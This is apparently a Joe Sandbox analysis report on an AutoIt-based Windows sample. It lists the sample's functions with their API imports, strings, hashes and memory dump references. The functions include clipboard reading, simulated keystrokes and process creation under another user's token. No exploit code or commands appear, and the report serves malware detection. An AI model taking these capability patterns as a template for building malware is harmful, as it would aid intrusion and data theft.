API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction ID: 9b65966b8410786fe9e2477f03e11beb979307eabf97a78c1b4f02a5d6e869af
Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
Instruction Fuzzy Hash: 4A228D36A29A418AEB10DF25ED8496E77A4FBC8B94F114135DE4E83BA4CF3CD445DB01

Function 00007FF6292BCE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32 ref: 00007FF6292BCF8D
LoadImageW.USER32 ref: 00007FF6292BCFAE
SendMessageW.USER32 ref: 00007FF6292BCFCE
DeleteObject.GDI32 ref: 00007FF6292BCFE0
DestroyIcon.USER32 ref: 00007FF6292BCFF2

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
String ID:
API String ID: 3481653762-0
Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction ID: bc5eb9a49f2ee5a209323457353c5e3d479ac361552e045c8798a108da501947
Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
Instruction Fuzzy Hash: BB329D76A2AA8186FB54CF25D954BA977B0FBC4B84F404135DA4E83B94CF3CE445EB01

Function 00007FF6292BBA0C Relevance: 54.8, APIs: 30, Strings: 1, Instructions: 500windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6292BBAE3
SendMessageW.USER32 ref: 00007FF6292BBB33
IsMenu.USER32 ref: 00007FF6292BBB4E
GetMenuItemInfoW.USER32 ref: 00007FF6292BBB94
SendMessageW.USER32 ref: 00007FF6292BBC27
SendMessageW.USER32 ref: 00007FF6292BBC4E
SendMessageW.USER32 ref: 00007FF6292BBC67
SendMessageW.USER32 ref: 00007FF6292BBC82
SendMessageW.USER32 ref: 00007FF6292BBCA6
SendMessageW.USER32 ref: 00007FF6292BBCD4
SendMessageW.USER32 ref: 00007FF6292BBCF0
SendMessageW.USER32 ref: 00007FF6292BBD14
GetWindowLongW.USER32 ref: 00007FF6292BBD4F
SendMessageW.USER32 ref: 00007FF6292BBD9C
SendMessageW.USER32 ref: 00007FF6292BBDC0
SendMessageW.USER32 ref: 00007FF6292BBE5A
wsprintfW.USER32 ref: 00007FF6292BBE91
SendMessageW.USER32 ref: 00007FF6292BBEAE
GetWindowTextW.USER32 ref: 00007FF6292BBEE3
SendMessageW.USER32 ref: 00007FF6292BBF05
SendMessageW.USER32 ref: 00007FF6292BBF2E
GetWindowTextW.USER32 ref: 00007FF6292BBF5B
GetWindowLongW.USER32 ref: 00007FF6292BBFF2
SendMessageW.USER32 ref: 00007FF6292BC026
SendMessageW.USER32 ref: 00007FF6292BC067
SendMessageW.USER32 ref: 00007FF6292BC0D0
CharNextW.USER32 ref: 00007FF6292BC10B
SendMessageW.USER32 ref: 00007FF6292BC152
SendMessageW.USER32 ref: 00007FF6292BC189

Strings

%d/%02d/%02d, xrefs: 00007FF6292BBE76

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
String ID: %d/%02d/%02d
API String ID: 1218376639-328681919
Opcode ID: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
Instruction ID: 7a8b6e030496ec5998fe3275b34027aaa209b6e5146da46ed18dcf928c58d171
Opcode Fuzzy Hash: 88d0c6dc924de39b2680e6b6a0383be569fd99a49510e92f6d82c1925c8df759
Instruction Fuzzy Hash: A712BE32A2A64286FF509F259E64BBD33A0EBC5B94F405135DA6D87BD4CF3CE442A701

Function 00007FF6292BDB18 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 462windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF6292BDBEA
SendMessageW.USER32 ref: 00007FF6292BDC8E
SendMessageW.USER32 ref: 00007FF6292BDCAD
SendMessageW.USER32 ref: 00007FF6292BDCE6
GetMenuItemInfoW.USER32 ref: 00007FF6292BDD10
SetMenuItemInfoW.USER32 ref: 00007FF6292BDD70
SetMenuDefaultItem.USER32 ref: 00007FF6292BDD86
GetMenuItemInfoW.USER32 ref: 00007FF6292BDD96
SetMenuDefaultItem.USER32 ref: 00007FF6292BDDB4
DrawMenuBar.USER32 ref: 00007FF6292BDDBE
SendMessageW.USER32 ref: 00007FF6292BDE57
SendMessageW.USER32 ref: 00007FF6292BDE92
GetWindowLongW.USER32 ref: 00007FF6292BDEBD
SendMessageW.USER32 ref: 00007FF6292BDEFC
SendMessageW.USER32 ref: 00007FF6292BDF3F
EnableWindow.USER32 ref: 00007FF6292BDFA7
EnableWindow.USER32 ref: 00007FF6292BDFBD
ShowWindow.USER32 ref: 00007FF6292BE03E
ShowWindow.USER32 ref: 00007FF6292BE051
EnableWindow.USER32 ref: 00007FF6292BE06B
SendMessageW.USER32 ref: 00007FF6292BE0A0
SendMessageW.USER32 ref: 00007FF6292BE0C4
GetFocus.USER32 ref: 00007FF6292BE0CA
MoveWindow.USER32 ref: 00007FF6292BE18A
SendMessageW.USER32 ref: 00007FF6292BE19F
GetWindowRect.USER32 ref: 00007FF6292BE1BE
MoveWindow.USER32 ref: 00007FF6292BE1F1
MoveWindow.USER32 ref: 00007FF6292BE21F

Strings

P, xrefs: 00007FF6292BDCFD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: aa937ff3525547406152eddb2babd4feb5b088a2d78c2e60989875e3d2edfef8
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: 8912EEB2A2A64286FB248F25DA64BB937B0FFC5784F100535DA4983A94CF3DE440EB41

Function 00007FF6292A32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6292A51B9
SystemParametersInfoW.USER32 ref: 00007FF6292A5312
SetRect.USER32 ref: 00007FF6292A5358
AdjustWindowRectEx.USER32 ref: 00007FF6292A536B
CreateWindowExW.USER32 ref: 00007FF6292A53D6
GetClientRect.USER32 ref: 00007FF6292A53EB
CreateWindowExW.USER32 ref: 00007FF6292A546A
CreateDCW.GDI32 ref: 00007FF6292A5486
GetStockObject.GDI32 ref: 00007FF6292A5496
SelectObject.GDI32 ref: 00007FF6292A54A2
GetTextFaceW.GDI32 ref: 00007FF6292A54B3
GetDeviceCaps.GDI32 ref: 00007FF6292A54C0
DeleteDC.GDI32 ref: 00007FF6292A54CB
CreateFontW.GDI32 ref: 00007FF6292A5530
SendMessageW.USER32 ref: 00007FF6292A5546
CreateWindowExW.USER32 ref: 00007FF6292A55A8
SendMessageW.USER32 ref: 00007FF6292A55C6
SendMessageW.USER32 ref: 00007FF6292A55DE
CreateWindowExW.USER32 ref: 00007FF6292A563B
GetStockObject.GDI32 ref: 00007FF6292A564B
SendMessageW.USER32 ref: 00007FF6292A5661
ShowWindow.USER32 ref: 00007FF6292A5671

Strings

A, xrefs: 00007FF6292A5629
DISPLAY, xrefs: 00007FF6292A5473
msctls_progress32, xrefs: 00007FF6292A558C
AutoIt v3, xrefs: 00007FF6292A53C5
static, xrefs: 00007FF6292A5463, 00007FF6292A5622

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction ID: e3d091d2c7337e5a0113686d471bced134071e935105cbc1cd9a4e53e7f3b4aa
Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction Fuzzy Hash: 04E18D76A29B8186EB14CF25E980A6E77A4FBC8B94F104135DB4E93B64CF7CE054DB01

Function 00007FF629234514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF62923452F
FindWindowW.USER32 ref: 00007FF62927A812
IsIconic.USER32 ref: 00007FF62927A81E
ShowWindow.USER32 ref: 00007FF62927A830
SetForegroundWindow.USER32 ref: 00007FF62927A839
GetWindowThreadProcessId.USER32 ref: 00007FF62927A84C
GetCurrentThreadId.KERNEL32 ref: 00007FF62927A854
GetWindowThreadProcessId.USER32 ref: 00007FF62927A862
AttachThreadInput.USER32 ref: 00007FF62927A878
AttachThreadInput.USER32 ref: 00007FF62927A886
AttachThreadInput.USER32 ref: 00007FF62927A894
SetForegroundWindow.USER32 ref: 00007FF62927A89D
MapVirtualKeyW.USER32 ref: 00007FF62927A8B2
keybd_event.USER32 ref: 00007FF62927A8C3
MapVirtualKeyW.USER32 ref: 00007FF62927A8CD
keybd_event.USER32 ref: 00007FF62927A8DF
MapVirtualKeyW.USER32 ref: 00007FF62927A8E9
keybd_event.USER32 ref: 00007FF62927A8FA
MapVirtualKeyW.USER32 ref: 00007FF62927A904
keybd_event.USER32 ref: 00007FF62927A916
SetForegroundWindow.USER32 ref: 00007FF62927A91F
AttachThreadInput.USER32 ref: 00007FF62927A93C
AttachThreadInput.USER32 ref: 00007FF62927A94A
AttachThreadInput.USER32 ref: 00007FF62927A958

Strings

Shell_TrayWnd, xrefs: 00007FF62927A80B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: 221b68bc007d17c3e37c5aaea01d6145c600656e838019035a4a32db07389726
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: C9418425F2D65283FF145F25AE54A3E3295BFC8B91F464030C80A97B94DF7DE84A9341

Function 00007FF62921183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6292118EA
DeleteObject.GDI32 ref: 00007FF62921194E
DeleteObject.GDI32 ref: 00007FF629211956
DestroyIcon.USER32 ref: 00007FF62921195E
DestroyWindow.USER32 ref: 00007FF629211966
ImageList_Destroy.COMCTL32 ref: 00007FF629259C2A
MoveWindow.USER32 ref: 00007FF62925A15B
SendMessageW.USER32 ref: 00007FF62925A18F
SendMessageW.USER32 ref: 00007FF62925A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF62925A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF62925A1D1

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: 639cb371a270bbe4f0488efd478b4d7fc1aaeb0db256e810584b081909ac6c7e
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: 2422D226A2AA4281FF689F15DA502BD3361FFC1B94F548132CA1E97699CF3DE441E302

Function 00007FF62927CE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62927D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF62927D630
Part of subcall function 00007FF62927D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF62927D66F
Part of subcall function 00007FF62927D5CC: GetLastError.KERNEL32 ref: 00007FF62927D682

LogonUserW.ADVAPI32 ref: 00007FF62927CF1A
DuplicateTokenEx.ADVAPI32 ref: 00007FF62927CF4D
CloseHandle.KERNEL32 ref: 00007FF62927CF60
OpenWindowStationW.USER32 ref: 00007FF62927CF7F
GetProcessWindowStation.USER32 ref: 00007FF62927CF96
SetProcessWindowStation.USER32 ref: 00007FF62927CFA3
OpenDesktopW.USER32 ref: 00007FF62927CFC3
wcscpy.LIBCMT ref: 00007FF62927D0A5
LoadUserProfileW.USERENV ref: 00007FF62927D0B8
CreateEnvironmentBlock.USERENV ref: 00007FF62927D0D8
CreateProcessAsUserW.ADVAPI32 ref: 00007FF62927D12F

Part of subcall function 00007FF62927D780: GetProcessHeap.KERNEL32 ref: 00007FF62927D7A2
Part of subcall function 00007FF62927D780: HeapAlloc.KERNEL32 ref: 00007FF62927D7B4
Part of subcall function 00007FF62927D780: GetCurrentProcess.KERNEL32 ref: 00007FF62927D7BD
Part of subcall function 00007FF62927D780: GetCurrentProcess.KERNEL32 ref: 00007FF62927D7C6
Part of subcall function 00007FF62927D780: DuplicateHandle.KERNEL32 ref: 00007FF62927D7EA
Part of subcall function 00007FF62927D780: GetCurrentProcess.KERNEL32 ref: 00007FF62927D7F0
Part of subcall function 00007FF62927D780: GetCurrentProcess.KERNEL32 ref: 00007FF62927D7F9
Part of subcall function 00007FF62927D780: DuplicateHandle.KERNEL32 ref: 00007FF62927D81E
Part of subcall function 00007FF62927D780: CreateThread.KERNEL32 ref: 00007FF62927D844

UnloadUserProfile.USERENV ref: 00007FF62927D16C
CloseWindowStation.USER32 ref: 00007FF62927D185
CloseDesktop.USER32 ref: 00007FF62927D193
SetProcessWindowStation.USER32 ref: 00007FF62927D1A5
CloseHandle.KERNEL32 ref: 00007FF62927D1B0
DestroyEnvironmentBlock.USERENV ref: 00007FF62927D1C7

Strings

winsta0\default, xrefs: 00007FF62927D054
default, xrefs: 00007FF62927CFB7
winsta0, xrefs: 00007FF62927CF72

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
String ID: default$winsta0$winsta0\default
API String ID: 3202303201-1423368268
Opcode ID: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
Instruction ID: 35617cba224558f72f73379ec5e03e68e011915c33f7085534ad3399e8b0a54e
Opcode Fuzzy Hash: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
Instruction Fuzzy Hash: 80A16C32A2AB4286FB10CF61A9406AA77A5FF85B94F440135DE5D9BBD8CF3CE005D741

Function 00007FF629212AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00007FF629212BE8
GetSystemMetrics.USER32 ref: 00007FF629212BF3
SystemParametersInfoW.USER32 ref: 00007FF629212C25
GetSystemMetrics.USER32 ref: 00007FF629212C2F
GetSystemMetrics.USER32 ref: 00007FF629212C5A
SetRect.USER32 ref: 00007FF629212C7D
AdjustWindowRectEx.USER32 ref: 00007FF629212C90
CreateWindowExW.USER32 ref: 00007FF629212CEF
SetWindowLongPtrW.USER32 ref: 00007FF629212D0E
GetClientRect.USER32 ref: 00007FF629212D30
GetStockObject.GDI32 ref: 00007FF629212D4C
SendMessageW.USER32 ref: 00007FF629212D5F

Part of subcall function 00007FF629211CEC: GetCursorPos.USER32 ref: 00007FF629211D1B
Part of subcall function 00007FF629211CEC: ScreenToClient.USER32 ref: 00007FF629211D3A
Part of subcall function 00007FF629211CEC: GetAsyncKeyState.USER32 ref: 00007FF629211D62
Part of subcall function 00007FF629211CEC: GetAsyncKeyState.USER32 ref: 00007FF629211D82

SetTimer.USER32 ref: 00007FF629212D90

Strings

AutoIt v3 GUI, xrefs: 00007FF629212CDF

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
Instruction ID: c6dc6db17cb08a25552b360f52d9a98ca6c97d9811bf89bdb991df6b9434a334
Opcode Fuzzy Hash: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
Instruction Fuzzy Hash: B5D15A32A29A428AFB14DF79DD947AD37A1FB84B58F104135DA0E83BA8DF38E444D741

Function 00007FF62923F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923FC46
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923FE69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF629240183
_invalid_parameter_noinfo.LIBCMT ref: 00007FF629240396
memcpy_s.LIBCMT ref: 00007FF6292405D1
memcpy_s.LIBCMT ref: 00007FF629240664
memcpy_s.LIBCMT ref: 00007FF629240818
memcpy_s.LIBCMT ref: 00007FF6292409F2
memcpy_s.LIBCMT ref: 00007FF629240AE7
memcpy_s.LIBCMT ref: 00007FF629240B1F
memcpy_s.LIBCMT ref: 00007FF629240BB6
memcpy_s.LIBCMT ref: 00007FF629240CC7
memcpy_s.LIBCMT ref: 00007FF629240D6F
memcpy_s.LIBCMT ref: 00007FF629240DB5
memcpy_s.LIBCMT ref: 00007FF629240FF1
memcpy_s.LIBCMT ref: 00007FF629241060
memcpy_s.LIBCMT ref: 00007FF62924109E
memcpy_s.LIBCMT ref: 00007FF629241148
memcpy_s.LIBCMT ref: 00007FF62924136C
memcpy_s.LIBCMT ref: 00007FF62924155C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction ID: c6575ac22de894cfdd97841fd207e08e0001f601237f4109bedc1a954d006b6e
Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
Instruction Fuzzy Hash: 6F03E772A1A1C28BFB35CE24DA40BF937A5FBD478CF001135DA09A7B59DF38A9449B41

Function 00007FF6292A0A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF6292A0AAA
IsClipboardFormatAvailable.USER32 ref: 00007FF6292A0AB7
GetClipboardData.USER32 ref: 00007FF6292A0AC9
CloseClipboard.USER32 ref: 00007FF6292A0AD7
GlobalLock.KERNEL32 ref: 00007FF6292A0B07
CloseClipboard.USER32 ref: 00007FF6292A0B12
GlobalUnlock.KERNEL32 ref: 00007FF6292A0B42
IsClipboardFormatAvailable.USER32 ref: 00007FF6292A0B52
GetClipboardData.USER32 ref: 00007FF6292A0B61
GlobalLock.KERNEL32 ref: 00007FF6292A0B76
GlobalUnlock.KERNEL32 ref: 00007FF6292A0BB5
CloseClipboard.USER32 ref: 00007FF6292A0CFC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
Instruction ID: 29dc3ba77937ad69665a4ee9a9bd11b2d488323ae542cec5489dde94fe91947d
Opcode Fuzzy Hash: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
Instruction Fuzzy Hash: F6713C22A6EA4282FF14AF159E5467C3361FFC9B84F414035D94E836A2DF3CE50AA742

Function 00007FF6292BC6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF6292BC876
SendMessageW.USER32 ref: 00007FF6292BC88E
SendMessageW.USER32 ref: 00007FF6292BC8B6
SendMessageW.USER32 ref: 00007FF6292BC8CE
CharNextW.USER32 ref: 00007FF6292BC903
SendMessageW.USER32 ref: 00007FF6292BC91B
SendMessageW.USER32 ref: 00007FF6292BC950
SendMessageW.USER32 ref: 00007FF6292BC971
GetMenuItemInfoW.USER32 ref: 00007FF6292BC9E1
SetMenuItemInfoW.USER32 ref: 00007FF6292BCA06
DrawMenuBar.USER32 ref: 00007FF6292BCA13
SendMessageW.USER32 ref: 00007FF6292BCA53
InvalidateRect.USER32 ref: 00007FF6292BCA78
SetWindowTextW.USER32 ref: 00007FF6292BCB01
SendMessageW.USER32 ref: 00007FF6292BCB71
SendMessageW.USER32 ref: 00007FF6292BCBE3
SendMessageW.USER32 ref: 00007FF6292BCC3D
SendMessageW.USER32 ref: 00007FF6292BCCC3
SendMessageW.USER32 ref: 00007FF6292BCD2E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
String ID:
API String ID: 1015379403-0
Opcode ID: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
